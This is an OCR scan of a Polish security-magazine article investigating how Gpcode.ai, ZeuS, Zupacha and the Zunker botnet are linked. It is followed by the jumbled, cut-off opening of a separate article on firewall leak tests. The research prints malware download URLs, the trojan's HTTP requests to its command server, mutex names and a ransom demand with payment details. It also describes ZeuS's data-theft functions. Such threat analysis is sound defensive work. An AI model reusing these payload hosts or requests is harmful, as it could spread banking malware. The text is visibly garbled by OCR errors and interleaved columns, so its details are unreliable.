Wszyscy zdawalisSmy sobie sprawe, ze trojany wy-
muszajgce hasta stanowig powazne zagrozenie i po-
stanowiliSmy bardziej szczegbétowo zbada¢ najnow-
szy szkodliwy program o nazwie Gpcode.ai. Okazato
sie, ze byta to bardzo trafna decyzja.

Na tropie Gpcode.ai

Postanowilismy skupi¢ sie na trzech gtéwnych ob-
szarach:

® serwerze, na ktory trojan wysytat dane i z ktérego
pobierat pliki;

® adresie e-mail podanym w wiadomosci pozosta-
wionej na zaatakowanych maszynach;

® ciggu tekstowym zawartym w ciele trojana ,_SY-
STEM_64AD0625_".

Serwer

Ustalilismy, ze Gpcode.ai taczyt sie z serwerem za
pomocg umieszczonego tam skryptu s.php, ponad-
to pobierat z serwera plik o nazwie cfg.bin. Plik ten
stanowit zaszyfrowany zestaw instrukcji dotycza-
cych tego, jakie informacje powinny zosta¢ prze-
chwycone z zaatakowanej maszyny (dane o koncie
dla szeregu systeméw ptatniczych oraz bankowo-
Sci).

Szkodnik ten analizowany byt przez kilka firm anty-
wirusowych. Alarm podniesli przedstawiciele PrevX,
ktérzy na serwerze szkodliwego uzytkownika wykryli
pliki pochodzace z 494 zaatakowanych maszyn. Fir-
ma ta podata nastepnie do wiadomosci, ze wsrod
ofiar szantazysty znajdowato sie wiele duzych firm.
Mel Morris, dyrektor generalny PrevX, ujawnit na-
wet ich nazwy: American Airlines, Booz Allen Hamil-
ton oraz Amerykanski Departament Stanu. Zadna
z ofiar nie zdecydowata si¢ skomentowac¢ decyzji
Morrisa o ujawnieniu tych informacji.

Branza nie pochwalata tego kroku PrevX. David
Perry z Trend Micro powiedziat, ze postanowienie
PrevX o ujawnieniu szczegotow zaniepokoito jego
firme. Najwieksze firmy antywirusowe probowaty
unika¢ podawania jakichkolwiek informacji (takich

jak serwer czy adresy e-mail) dotyczgcych szkodli-
wych uzytkownikéw, zatajajac te szczegoty rowniez
w publikowanych opisach wirusa (mimo ze nie za-
wsze im sie to udawato — zobacz nasz weblog).
Jednak PrevX zdradzit catemu Swiatu nie tylko to,
gdzie mozna uzyska¢ dostep do prywatnych da-
nych, ale rowniez do kogo one naleza.

Prawdziwg obtawe przezywat martin-golf.net — od-
wiedzany przez ekspertow ds. bezpieczenstwa, ha-
kerow, przedstawicieli organdéw $cigania z réznych
panstw, jak rowniez zwyktych ciekawskich. Badanie,
ktore mogtoby zosta¢ przeprowadzone, zostato
przerwane — szkodliwi uzytkownicy wiedzieli, ze sg
obserwowani i pozwolili, aby obserwujgcy obserwo-
wali obserwujacych, a nie przestepcow.

Z tego powodu ta linia $ledztwa nie mogta przyniesé
rezultatow, dlatego naszg uwage skierowalismy na
adres e-mail.

E-mail

Chcielismy dowiedzie¢ sie, jak dokfadnie wygladata
korespondencja miedzy cyberprzestepca a uzytko-
wnikiem sktonnym zaptacic¢ pienigdze za przywroce-
nie swoich danych. Na jeden z adreséw z programu
trojanskiego wystalismy wiec e-mail o nastepujacej
tresci: ,Nazywam sie John Brown. Moje wazne
dane zostaty zaszyfrowane. Dane te sg mi pilnie po-
trzebne do opracowania raportu. Jesli go nie skon-
cze, moj szef mnie zabije”. Nastepnego dnia otrzy-
malismy nastepujacg odpowiedz od nieznanego
szkodliwego uzytkownika:

Sorry for delay.

Please transfer $500 to e-gold account 4616329 and send us a
e-mail to address oxyglamourClgmail.com. You can buy e-gold
with paypal with help of exchange site listed on official e-gold
site (http://www.e-gold.com/unsecure/links.htm#fmarketmaker).

After that, we will send your personal decoding program imme-
diately.

Ttumaczenie na jezyk polski:
Przepraszam za zwioke.

Prosze o przelanie 500 dolaréw na konto e-gold nr 4616329
oraz wystanie wiadomo$ci e-mail na adres oxyglamour
@gmail.com. Mozesz kupi¢ e-gold za pomoca paypala za po-
$rednictwem strony wymienionej na oficjalnej stronie e-gold
(http:/Awww.e-gold.com/unsecure/links.htm#marketmaker).

Jak wida¢ z powyzszego tekstu, autorzy Gpcode.ai
nie prosili 0 300 dolaréw — jak zgdano w wiadomo-
§ci pozostawionej przez trojana — ale o 500 dolaréw.
Pienigdze te miaty zostaC przelane za posredni-
ctwem e-gold, ulubionego systemu ptatnosci cyber-
przestepcédw. Ponadto zostat podany numer konta,
na ktore nalezato przela¢ pienigdze.

Wraz z tym mailem ta linia $ledztwa utkneta w mart-
wym punkcie.

Ciag ,,_SYSTEM_64AD0625_"

Jedyng rzeczg, jaka pozostata, byto ustalenie, jakie
inne szkodliwe programy mogty zosta¢ stworzone
przez grupe przedstawiajaca sie jako ,Glamourous
team”. ZaczeliSmy wiec przeszukiwa¢ naszg kole-
kcje wirusow w celu znalezienia nastepujgcego cia-
gu: ,_SYSTEM_64AD0625_".
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Rezultaty byty zaskakujgce. Muteks ten znalezliSmy
w wielu réznych rodzajach trojanéw — trojanach
downloaderach, trojanach szpiegujgcych oraz back-
doorach. Wspdlng cechg wszystkich tych probek
byta nazwa pliku, ktory szkodliwe programy zainsta-
lowaly na zaatakowanej maszynie: ntos.exe,
doktadnie tej samej nazwy pliku uzywat Gpcode.ai.
Oprocz tego szkodliwe programy znalezione w kole-
kcji zawieraty pliki o nazwie sporder.dll oraz
rsvp322.dil i tworzyty podkatalog o nazwie wsnpo-
em, zawierajgcy pliki o nazwach audio.dll oraz vi-
deo.dll w katalogu systemu Windows.

Szczegotowa analiza wybranych plikow pokazata,
ze oprbcz tego, ze zawieraly one ten sam muteks,
ich kod byt w ponad 80 proc. identyczny!

»Uniwersalny” kod

Wydawato sie, ze natrafilismy na uniwersalny kod.
Kod ten miat na celu nie tylko kradziez danych oraz
instalowanie nowych trojanéw na zaatakowanej ma-
szynie. Miat rowniez dziata¢ jak bot i przytgcza¢ za-
atakowang maszyne do sieci zombie.

Szkodliwe programy wykorzystujgce ten ,uniwersal-
ny” kod posiadaty pojedynczy komponent oraz nie-
wielkg (w poréwnaniu z catkowitym rozmiarem pli-
ku), unikatowg funkcje rézniaca sie w zaleznosci od
wersji. Interesujgce jest to, ze niektére z tych pro-
gramow wykryliSmy jeszcze pod koniec 2006 r. Przy
pomocy tego ,uniwersalnego” kodu stworzono réw-
niez Gpcode.ai. Nowe wpisy i zalezno$ci migdzy
nimi znacznie rozszerzyty diagramy, ktére wykorzy-
stywaliSmy w naszym $ledztwie.

Zta firma

v s [ Bt o )

Kolejnym etapem w naszym badaniu byto przeanali-
zowanie odsytaczy w probkach zawierajgcych ,uni-
wersalny” kod. Z wykrytego niedawno pliku wydoby-
lismy cztery odsytacze, ktére postuzyty szkodliwemu
programowi do dostarczenia swojej szkodliwej funk-
cji:

http://81.95.149.28/logo/zeus.exe
http://81.95.149.28/logo/zupa.exe
http://myscreensavers.info/zupa.exe
http:/81.95.149.28/logo/fout.php

Co robi ten trojan? Przede wszystkim instaluje sie
na zaatakowanej maszynie jako ntos.exe, nastepnie
pobiera pliki o nazwie

zeus.exe (http://81.95.149.28/logo/zeus.exe) oraz

zupa.exe (http://81.95.149.28/logo/zupa.exe), taczac sie po-
przez skrypt o nazwie
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fout.pho (http:/81.95.149.28/logo/fout.php) w celu zidentyfi-
kowania siebie w botnecie. Trojan pobiera cfg.bin,
zaszyfrowany plik konfiguracyjny. Plik ten zawiera
wiadomos$¢ tekstowg oraz odsytacze do innych
stron. Nastepnie szkodnik zaczyna $ledzi¢ aktyw-
nos¢ uzytkownika i gdy ten odwiedzi jakiekolwiek
fora, ksiegi gosci czy blogi, trojan dotgcza swoj
wiasny tekst (wydobyty z cfg.bin i zawierajacy
odsytacze do szkodliwego pliku [http:/myscreensa-
vers.info/zupa.exe]) do wiadomosci uzytkownika:

SkorzystaliSmy z Google, aby znalez¢ podobne
przyktady... bez trudu trafilismy na wiele:

Konstruowanie ataku w ten sposéb pozwala auto-
rom trojandéw wykorzysta¢ zainfekowane wczes$niej
maszyny w celu rozprzestrzeniania nowych warian-
téw szkodliwego programu i/lub zwiekszenia liczby
zainfekowanych komputeréw. Przyktad ten jasno
pokazuje, w jaki sposéb szkodliwi uzytkownicy od-
chodzg od tradycyjnych wektoréow infekcji (np.
wysytanie szkodliwych programéw za posredni-
ctwem poczty elektronicznej), wykorzystujgc do roz-
przestrzeniania swoich tworéw moc internetu.

Jakie szkodliwe programy wykorzystywat do roz-
przestrzeniania sie analizowany przez nas trojan?
Ponizsze dane ukazujg interesujgcy obraz:

Pobrany szkodli
program

Http://81.95.149.28/logo/ Trojan-Spy.
zeus.exe Win32.Bancos.aam
Http://81.95.149.28/logo/ Email-Worm.
zZupa.exe Win32.Warezov.dq
http://myscreensavers.info/ Trojan-Spy.
zupa.exe Win32.Bzub.bm
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Sg to oddzielne rodziny. Na pierwszy rzut oka nie
majg ze sobg nic wspdlnego i z poczatku sadzono,
ze zostaly napisane przez rozne grupy tworcéw
szkodliwego oprogramowania. Jednak rozprzestrze-
niaty sie z tej samej strony i przy pomocy tego sa-
mego trojana downloadera. Co wiecej — w pewien
spos6b sg one zwigzane z trojanem Gpcode.ai!

Do konca nie byto wiadomo, co to znaczy. Zacze-
lismy podejrzewac istnienie miedzynarodowej gru-
py zamieszanej w tworzenie i rozprzestrzenianie
ogromnej wiekszo$ci dzisiejszych szkodliwych pro-
gramow.

Nasze najgorsze obawy potwierdzity sie, gdy prze-
analizowaliSmy botnet, ktéry zostat stworzony przy
uzyciu Bzuba. Stato sie jasne, ze trojan, nazwany
przez swojego autora Zupacha, byt bezposrednim
krewnym Bzuba. Bzub oraz Zupacha to prawie iden-
tyczne programy, jednak Bzub posiada funkcjg troja-
na szpiegujgcego, Zupacha natomiast jej nie po-
siada.

Bzub/Zupacha sg klientami
przez system botnetu Zunker.

bota zarzadzanymi

Istnieje jeszcze inny szkodliwy program zwigzany
z botnetem Zunker: E-mail-Worm.Win32.Zhela-
tin.bg. Jest to jeden ze stawnych robakoéw Storm,
ktore od poczatku 2007 roku zalewaty ruch poczto-
wy. W celu rozprzestrzeniania sie robaki te wykorzy-
stujg zaawansowane metody socjotechniki.

Podsumowujgc: Zhelatin, Warezov, Bancos.aam,
Bzub, a teraz Gpcode.ai sg ze sobg powigzane.
Programy te pochodzg z r6znych rodzin, jednak ro-
dziny te nalezg do jednych z najaktywniejszych
i najniebezpieczniejszych szkodliwych programéw
w tym momencie. Pliki o takich nazwach, jak
ntos.exe, video.dll, audio.dll, sporder.dil, Icewza.exe, filech.exe,
filede.exe, iphone.scr, ldr.exe, Idr2.exe, loader.exe, pajero.exe,
update92520748.exe, zeus.exe, zsl.exe sg dobrze znane
analitykom wiruséw na catym Swiecie.

Powigzania miedzy trojanami
w nastepujacy sposob:

przedstawiajg sie

L= = = = — e e

W czasie gdy prowadziliSmy nasze dochodzenie,
nieznani szkodliwi uzytkownicy stali sie catkowicie
znani. Méwigc $ciélej, nie probowali zwréci¢ na sie-
bie uwagi, jednak wydarzenia, jakie nastgpity, oka-
zaly sie bardzo znaczace.

Broker

25 lipca 2007 r. (zaledwie 10 dni po pojawieniu sie
Gpcode.ai) analitycy z firmy Kaspersky Lab zauwa-
zyli aktywne rozprzestrzenianie sie nowego szkodli-
wego programu. Jego ofiarg padli uzytkownicy kilku
najpopularniejszych rosyjskich stron informacyjnych
— utro.ru, gzt.ru, rbc.ru.

Stato sig jasne, ze otworzyli oni odsytacz (http:/
www.txt.utro.ru/cgi-bin/banner/rian?86028&options=FN) w sy-
stemie banerowym Utro.ru, ktéry zawierat odsytacz
do zainfekowanej strony (http://81.95.145.210/333/m00
333/index.php). Strone te hostowata firma RBN (Rus-
sian Business Network).

Po otwarciu tej strony przegladarka uzytkownika
byta atakowana przy uzyciu kolekcji eksploitow
(w tym przypadku Mpack). Gdyby atak sie powiodt,
na zaatakowang maszyne zostatby pobrany trojan
downloader. Program ten zainstalowatby z kolei
inny szkodliwy program — Trojan-Spy.Win32.Ban-
cos.aam.

Po zainstalowaniu sie w systemie trojan zaczatby
wykonywac¢ nastepujgce polecenia:

Host: 81.95.149.66
GET /et /file.php HTTP/1.1

GET /ldr1.exe HTTP/1.1

GET /cfg.bin HTTP/1.0

POST /s.php?1=april_002fdf3f&i= HTTP/1.0.

W rezultacie na zaatakowanej maszynie pojawitby
sie plik o nazwie ntos.exe (nazwa dobrze znana
analitykom wiruséw). Plik ten wykorzystywany byt
do instalowania Gpcode.ai w systemie. Spodzie-
wajac sie najgorszego, w postaci nowego programu
szyfrujgcego, zaczeliSmy szczeg6towo analizowaé
ten plik. Okazato si¢ jednak, ze program ten nie jest
wariantem Gpcode. Ta nowa wersja Bancos.aam
by- ta pierwszym trojanem szpiegujgcym stworzo-
nym w celu kradziezy danych uzytkownikow rosyj-
skiego systemu QUIK.

QUIK jest pakietem aplikacji zapewniajacym dostep
online do systemoéw gietd papieréw wartosciowych.
Skfada sie z aplikacji po stronie serwera oraz termi-
nalu po stronie klienta, ktére komunikujg sie ze
sobg za posrednictwem internetu.

Uzyskiwanie przez cyberprzestepcédw dostepu do
kont bankowych to zjawisko wystepujgce juz od
diuzszego czasu, jednak kradziez danych umozli-
wiajgcych dostep do internetowych gietd papierow
warto$ciowych to co$ nowego.

Trojan ten skanowat zaatakowang maszyne w po-
szukiwaniu plikbw o nazwie secring.txk, pubring.txk oraz
qcrypto.cfg zawierajgcych zapisane parametry doste-
pu do systemu QUIK. Dane z tych plikow wysytane
byly nastepnie z powrotem na serwer.

Wiedzgc doktadnie, jakich plikbw szukat program
szpiegujacy, po raz kolejny przeszukaliSmy nasza
kolekcje wirusow. Znalezlismy kolejne pie¢ warian-
téw trojana, z ktérych pierwszy pochodzit z po-
czatkéw lipca 2007 r. W rezultacie wszystkie te pro-
gramy zostaty zaklasyfikowane do nowej rodziny
0 nazwie Trojan-PSW.Win32.Broker.

Trojany te wykazywaty zadziwiajgce podobienstwo
do trojana Gpcode.ai pod wzgledem kodu. Roznice
polegaty na tym, ze jeden kradt dane, drugi szyfro-
wat dane. Po raz kolejny natrafilismy na ,uniwersal-
ny” kod.

Wstepne wyniki
Do 1 sierpnia 2007 r. ustalilismy nastepujgce fakty:

B Gpcode.ai wykorzystywat ,uniwersalny” kod i kon-
taktowat sie ze strong martin-golf.net.
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B Bancos.aam wykorzystywat ,uniwersalny” kod
i pobierat pliki hostingowane przez firme Russian
Business Network (RBN).

B Niektére z botnetow Zunkera, ktore juz wykryli-
Smy, byty hostingowane w zasobach RBN.

B Botnety Zunkera dziatajg jak centra dowodzenia
dla downloaderéw, ktére pobierajg programy po-
dobne do Bancos.aam/Gpcode.ai.

B Wsrod szkodliwych programéw, ktére mogg byc
zarzgdzane przez Zunkera, znajduje si¢ down-
loader Zunker, program szpiegujacy Bzub i pra-
wdopodobnie robak Zhelatin (Storm).

B Jeden z takich botnetéw zostat wykorzystany do
rozprzestrzeniania robaka Warezov.

Wecigz jednak brakowato nam jednego kawatka
uktadanki — kim byt autor ,uniwersalnego” kodu, tak
powszechnie wykorzystywanego w tak wielu réz-
nych szkodliwych programach? Czy za te wszystkie
incydenty odpowiedzialna byta ta sama grupa twor-
cOwW wiruséw?

Wiele czasu poswieciliSmy na czytanie réznych
stron oraz forow hakerskich, w wiekszosci w jezyku

rosyjskim. Stopniowo sytuacja zaczynata sie wyjas-
niac.

W poszukiwaniu ,,uniwersalnego” kodu

Zunker oraz Zupacha

Czym wiec zajmowaliSmy sie przez caly ten czas?
Strony hakerskie aktywnie sprzedawaty pakiet Zun-
ker+Zupacha — centrum dowodzenia botnetu oraz
klient bota. To juz wiedzieliSmy. Interesujacym od-
kryciem byto to, ile pieniedzy nieznani autorzy sy-
stemu bota zadali za swoj pakiet: do 3000 dolarow.
Od czasu do czasu pojawiaty sie oferty ,dwa w jed-
nej cenie” w wysokosci okoto 200 dolarow. Takie
oferty sktadali prawdopodobnie inni wiasciciele kodu
zrodtowego pakietu trojandw.

My jednak nie mieliSmy zadnych problemoéw z uzy-
skaniem plikbw Zunker oraz Zupacha za darmo,
znajgc adresy niektorych aktywnych botnetéw. Wy-
starczyto skorzysta¢ z Google.

Funkcje Zupacha okazatly sie grozne. Oprécz pobie-
rania plikbw na zaatakowang maszyne, gtownym
zadaniem tego programu jest dalsze rozprzestrze-
nianie sie. Opisalismy juz jeden ze sposobow jego
rozprzestrzeniania sie (poprzez zamieszczanie swo-
ich tekstow w wiadomosciach na forach). Ogolnie
Zupacha potrafi rozsyta¢ swoje odsytacze przy uzy-
ciu technik spamowych w nastepujacy sposob:

B Spam ICQ/Jabber: teksty z odsytaczami do zain-
fekowanych stron dodawane sg do wszystkich
wiadomosci, ktére ofiara wymienia ze swoimi
kontaktami za posrednictwem komunikatoréw in-
ternetowych tych klientow.
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B Spam www: teksty dodawane sg do kazdego for-
mularza internetowego wypetnionego przez uzyt-
kownika. Z reguty sg to formularze znajdujace sie
na forach oraz interfejsach sieciowych systemow
pocztowych.

B Spam e-mail: teksty dodawane sg do wiadomosci
e-mail.

Nalezy zauwazy¢, ze w zaprezentowanych wyzej
przypadkach Zupacha nie inicjuje masowej wysyiki
wiadomosci. Monitoruje jedynie aktywnos$¢ uzytkow-
nika i dodaje swoje teksty do kazdej wiadomosci
wychodzacej — w taki sposob, zeby uzytkownik ich
nie zauwazyt! Celem tej funkcji jest utrudnienie wy-
krycia infekcji.

Jednak Zupacha nie kradnie danych — jest to je-
dynie samodzielnie rozprzestrzeniajgcy sie trojan
downloader, dlatego tez nie moze by¢ tym niestaw-
nym ,uniwersalnym” kodem.

Odpowiedz na nasze pytanie otrzymaliémy po dal-
szej analizie ofert hakeréw dotyczacych szkodliwych
programéw: ,,uniwersalny” kod, ktéry zostat wy-
korzystany w setkach wariantow Bancos.aam,
Gpcode.ai oraz Broker okazal sie botem ZeuS
(nazwa uzyta przez samego autora).

ZeuS - Zbot

Zgromadzone przez nas dane dotyczace wariantow
ZeuS, ktére juz posiadalismy, plus dochodzenia
przeprowadzone w internecie pozwolity nam uzy-
ska¢ prawie petny obraz tego programu.

Zacznijmy od faktu, ze bot zostat pierwotnie stwo-
rzony w celu odsprzedazy kazdemu, kto chciatby go
kupi¢, oraz skonfigurowania zgodnie z Zzyczeniami
klienta. Autor programu nie oferowat ,wsparcia tech-
nicznego” osobom, ktére go zakupily, zlecajac te
funkcje innym. Po rozgtosie wokdt Gpcode.ai oraz
Broker wydaje sie, ze autor uznat, ze jego twoér za
bardzo zwrdcit na siebie uwage i organy Scigania
wykazywaty zbyt wielkie zainteresowanie nim.
Ogtosit wiec, ze sprzedaz programu zostata zakon-
czona.

Powyzszy zrzut ekranu pokazuje rozmowe, w ktorej
autor programu wyjasnia, ze program nie jest juz na
sprzedaz, jednak ,starzy klienci” nadal bedg otrzy-
mywali wsparcie.

Historia ta przypomina zdarzenia, jakie miaty miejs-
ce pod koniec zesztego roku, gdy na skutek incy-
dentdbw zwigzanych z kradziezg danych klientow
banku Nordea ustyszeliSmy o trojanie Nuclear Grab-
ber z bardzo podobng funkcjonalnoscig. Na pew-
nym etapie trojan ten byt sprzedawany za 3000 do-
laréw, a jego autor, Corpse, udzielit nawet wywiadu
jednemu z dziennikarzy. Corpse ogtosit nastepnie
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na swojej stronie, ze ,wycofuje si¢ z biznesu”, ze
caty kod zrédtowy zostat zniszczony wraz z dyskiem
twardym i ze nie bedzie juz dtuzej tworzyt ani wspie-
rat szkodliwych programéw.

W przypadku ZeuS scenariusz byt bardzo podobny.
Mimo ze pod koniec lipca autor zamknat sklep, kon-
struktor nadal krgzyt wsrod hakeréw. Umozliwiat on
tworzenie nowych wariantow bota z okreslonymi
funkcjami. Kilka rywalizujgcych ze sobg grup za-
czeto sprzedawac i rozprzestrzenia¢ te nowe wa-
rianty.

Poczatkowo ZeuS posiadat stosunkowo ograni-
czong funkcjonalno$¢ bota — pobierat jedynie inne
pliki do systemu. Z czasem jednak jego funkcjonal-
nos¢ zostata rozszerzona. Nie wiemy, czy dokonat
tego sam autor, czy tez te nowe funkcje zaimp-
lementowali nowi ,wtasciciele” kodu Zzrédiowego.
Najistotniejszg innowacjg byto pojawienie sie uni-
wersalnego ,interfejsu” w ZeuS, ktéry pozwalat pro-
gramowi na taczenie sie z botnetem Zunker (podob-
nie jak Zupacha), otrzymywanie instrukcji za po-
Srednictwem pliku cfg.bin i wykonywanie ich w locie.

Stworzylismy program do deszyfrowania niektorych
plikbw cfg.bin. Okazato sie, ze pliki te zawieraty ad-
resy online réznych bankéw i systemow ptatnosci.
Wiasciciele botnetu mogli szybko doda¢ adresy no-
wych celéw, aby $ledzi¢ aktywnosé uzytkownika
i przechwytywac dane.

Oproécz standardowych procedur (takich jak instalo-
wanie sie na zaatakowanej maszynie, wstrzykiwanie
wiasnego kodu do uruchamianych proceséw, zwal-
czanie niektérych rozwigzan antywirusowych) bot
posiadat réwniez rozbudowang funkcjonalno$¢ kra-
dziezy danych:

B Trojan przechwytuje zawarto$¢ Pamigci Chronio-
nej (Protected Storage), ktéra zawiera zapisane
hasta uzytkownika.

B ,Form grabber’. Trojan przechwytuje wszystkie
dane wprowadzane do formularza przesytanego
za posrednictwem przegladarki. Lista monitoro-
wanych adreséw sktada sie, z reguty, z bankow
i systemow ptatnosci. W ten sposéb kradzione sg
konta bankowe.

B Omijanie wirtualnych klawiatur. Trojan przechwy-
tuje wecisSniecia przyciskow myszy i wykonuje
zrzuty ekranu podczas przechwytywania danych.

B Fatszowanie witryn i stron. Jest to bardzo intere-
sujgca metoda, wykorzystywana wczeéniej w Nu-
clear Grabber. Gdy uzytkownik probuje skontak-
towac sie z jedng ze stron monitorowanych przez
trojana w celu przechwytywania danych, zadanie
jest przekierowywane na strone phishingowg lub
do oryginalnej strony dodawane jest nowe pole
wprowadzania danych. Zawartos¢ strony jest mo-
dyfikowana na komputerze uzytkownika, zanim
strona zostanie wyswietlona przez prze- gladar-
ke.

B Kradziez certyfikatow.

Cechg rozpoznawczg ZeuS, dzieki ktérej bardzo
szybko odnalezliSmy jego warianty w naszej kolek-
cji, jest muteks tworzony w celu zaznaczenia swojej
obecnosci w pamieci: _SYSTEM _.

Na przyktad:

_ SYSTEM__91C38905__
_ SYSTEM_ 64AD0625__
_ SYSTEM__23D80F10__
_ SYSTEM__7F4523E5__
_ SYSTEM__45A2F601_.

Dzieki temu moglismy sklasyfikowaé wszystkie wa-
rianty ZeuS do oddzielnej rodziny o generycznej na-
zwie Zbot.

To wiaénie jest ten ,uniwersalny” kod; wykorzystuje
on wiele oryginalnych metod w celu kradziezy wszel-
kiego rodzaju danych. Najniebezpieczniejsze jest to,
ze do kazdego nowego wariantu mozna dodac¢ wiele
innych funkgciji, tak jak w przypadku Gpcode.ai.

Trzy Z

Teraz wszystko stato sie jasne. W rezultacie rosyj-
ska spotecznos¢ cyberprzestepcow stosuje standar-
dowy pakiet: zestaw Zupacha+ZeuS oraz zarzadza-
ny przez ten zestaw botnet Zunker.

Rozmiar sieci zombie stworzonych przy uzyciu tych
programéw jest imponujgcy. Jedna z najwiekszych
sieci, stworzona przy uzyciu Zunker, sktadata sie
w momencie wykrycia z 106000 zaatakowanych
maszyn — co 24 godziny dodawanych byto 1500 no-
wych komputeréw. Zupacha potrafit bardzo skutecz-
nie sie rozprzestrzenia¢, poniewaz centrum dowo-
dzenia botnetu jest fatwe w konfiguraciji i uzyciu.

Kazdy szkodliwy uzytkownik, nawet ,dzieciak skryp-
towy”, mogtby kupi¢ te dwa trojany (ZeuS oraz Zu-
pacha) skonfigurowane specjalnie dla konkretnego
klienta. Nastepnie musiat wynaja¢ serwer i zainsta-
lowa¢ Zunkera (panel sterujgcy botnetu). Natural-
nie, w wielu przypadkach wybrang firmg hostingowg
byta Russian Business Network, o ktorej przez
ostatnie sze$¢ miesiecy donosity media i ktéra zy-
skata na Zachodzie reputacje podobng do tej, jakg
cieszyta sig Umbrella Corporation w grze video Re-
sident Evil.

Interesowata nas nie tyle RBN, co jej klienci oraz
wykorzystywane przez nich botnety. Poniewaz wie-
dzielismy, gdzie i czego szuka¢, fatwo zidentyfi-
kowalismy kilka takich systeméw (zobacz wykres
powyzej).

JestedSmy pewni, ze niektére z botnetéw Zunker
wykorzystywane byly do rozprzestrzeniania niebez-
piecznych szkodliwych programow, takich jak Zhela-
tin (robak Storm) oraz Warezov. Ich autorzy mogli
celowo wykorzysta¢ Zunker+Zupacha do stworzenia
tych botnetéow Ilub tez wydzierzawic moc ist-
niejgcych juz botnetéw, ptacac wtascicielom za roz-
przestrzenianie swych szkodnikow.

Warto zauwazy¢, ze gdy Zupa-
cha wpadt w rece hakeréw z Za-
chodu, ci zachwycali sie kon-
cepcja, analizowali kod i dysku-
towali na jego temat na forach
(http://www.1918.com). Chociaz nie
mieli kodu zrédtowego, nauczyli
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sie, w jaki sposdéb mozna zmodyfikowa¢ adres cen-
trum dowodzenia w pliku binarnym trojana, aby wy-
korzysta¢ go do swoich wtasnych celow. Probowali
nawet sami stworzy¢ centrum dowodzenia zawie-
rajgce baze danych, w ktérej zapisana zostata konfi-
guracja trojana. Pozniej jeden z tych hakeréw zna-
lazt kod centrum dowodzenia oraz strukture bazy
danych i wszystko potoczyto sie bardzo szybko.
Osoby zaangazowane w to (analizowanie rosyjskie-
go trojana oraz wykorzystywanie ,broni rosyjskiej
mafii”) braty udziat w rozwijaniu, rozprzestrzenianiu
oraz popularyzacji Zupacha.

Whioski

Powyzsze informacje obrazuja, w jaki sposob cyber-
przestepcy (w szczegolnosci rosyjscy) dziatajg ze-
spotowo. Poszczegolni tworcy wirusdéw oraz ich gru-
py tworzg programy trojanskie na sprzedaz. Ci, kto6-
rzy je kupuja, konfigurujg je zgodnie z wkasnymi po-
trzebami, w efekcie czego oryginalny program jest
czesto trudny do rozpoznania. Zainfekowane ma-
szyny potgczone sg w botnety, ktére moga sktadac
sie z setek tysiecy maszyn. Maszyny te sg za-
rzgdzane poprzez centrum dowodzenia — kod stwo-
rzony przez innych szkodliwych uzytkownikow, kto-
ry rbwniez jest na sprzedaz. Botnety te mogg byc¢
wykorzystywane do rozprzestrzeniania szeregu r6z-
nych szkodliwych programéw, ktoére czesto bezpo-
Srednio konkurujg ze sobg. Aby cata ta struktura
miata jak najdtuzszy cykl zycia, mimo wszystkich
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wysitkéw firm antywirusowych oraz organdéw $ciga-
nia, istniejg wyspecjalizowane firmy hostingowe ofe-
rujgce swoje ustugi po cenach od kilkudziesieciu do
tysiecy dolarobw miesiecznie.

Przemyst ten, oczywiscie, przynosi pewne zyski, po-
niewaz istnieje nie tylko zapotrzebowanie na two-
rzenie i rozprzestrzenianie trojanéw, ale rowniez po-
daz. Nasze badanie skoncentrowato sie jedynie na
czesci gory lodowej: tej ztozonej z rosyjskojezycz-
nych grup hakeréw. Naturalnie, istniejg tez inne gru-
py — z Ameryki Potudniowej, Chin, Turcji itd. Kazda
z tych grup posiada wtasny sposob dziatania i cha-
rakter, sg jednak stosunkowo do siebie podobne.
W internecie nie ma zadnych granic.

Ostatnim przyktadem moze by¢ artykut, ktory pojawit
sie 17.08.07 r. w InformationWeek. Don Jackson,
ekspert ds. bezpieczenstwa w SecureWorks, powie-
dziat w nim, ze zidentyfikowat 12 schowkéw danych,
z ktérych wiekszo$¢ zawierata od czterech do sze-
Sciu tysiecy skradzionych wpisow. W sumie skradzio-
ne zostaty dane okoto 100000 os6b. Dane te zostaty
skradzione przez trojany zawarte w fatszywych rekla-
mach na dwoéch najwigkszych stronach rekrutacyj-
nych, z ktorych jedna to Monster.com.

Prawdopodobnie odgadliscie juz, o jakim trojanie
moéwit Jackson i gdzie szkodnik ten wystat prze-
chwycone dane. Tak, macie racje! To ZeuS, ,uniwer-
salny” kod, ktory wystat dane do Russian Business
Network. B




Wykorzystywanie testéw wyciekdw do oceny
skutecznosci zapor sieciowych

Skutecznosc
zapor sieciowych

Zapora sieciowa oferuje dodatkowg ochrone do tej zapewnianej osobistych. Przyktadem moze by¢ osobista zapora
przez rozwigzania i narzedzia bezpieczenstwa. Dodatkowe sieciowa w produkcie Kaspersky Internet Security
bezpieczenstwo zyskuje coraz wieksze znaczenie ze wzgledu 7.0.

na wzrost liczby nowych szkodliwych programéw. Zapory sieciowe
blokuja niepozgdany ruch sieciowy, zaréwno wejsciowy, jak aktywnosci sieciowej, zapory sieciowe wykorzystujg
i wyjsciowy. Testy wyciekoéw, ktére stanowia temat tego artykutu, listy regut, za pomocg ktérych definiowana jest do-
oceniaja, jak skutecznie zapora sieciowa kontroluje ruch wyjsciowy zwolona oraz niedozwolona aktywnos$¢ sieciowa dla
i chroni komputer przed wyciekami danych. roznych aplikacji. Reguta moze zawiera¢ wiele pa-
rametrow, takich jak kierunek transferu danych, pro-
tokot transferu danych (IP, TCP, UDP, ICMP itd.),
adresy IP oraz porty lokalnych i zdalnych kompute-

Nikolay Grebennikov

W celu spetnienia swojej gtownej funkcji, tj. kontroli

Co to jest zapora sieciowa?

Jedng z funkgji dzisiejszych zintegrowanych syste-
moéw bezpieczenstwa jest umozliwianie uzytkowni-
kowi kontrolowania ruchu sieciowego, tzn. danych

row wymieniajacych dane.

Pojedyncza reguta kontroli aktywnosci sieciowej
moze by¢ stosowana do wszystkich aplikacji w sy-

wysytanych i otrzymywanych za pos$rednictwem sie- stemie. Wtedy nosi nazwe reguty pakietu.
ci przez aplikacje uruchomione na komputerze uzyt-
kownika. Komponent zapewniajgcy taka kontrole

. .. . L. Wy Bz obyitacye gt e o e =5=H
nosi nazwe zapory sieciowej. Istniejg sprzetowe
oraz programowe zapory sieciowe (http:/pl.wikipe- b B | Didy
dia.org/wiki/Zapora_sieciowa). W artykule tym zbadano : j::::::?::::::r:;l"u. o

tylko zapory sieciowe programowe.
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noéci sieciowej, ktéra nie zostata uwzgledniona

Rysunek 1. Zapora sieciowa w programie Kaspersky Internet Security 7.0
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w zadnej ze zdefiniowanych wczesniej regut, zapora
sieciowa wyswietla okno dialogowe, ktoére pyta uzyt-
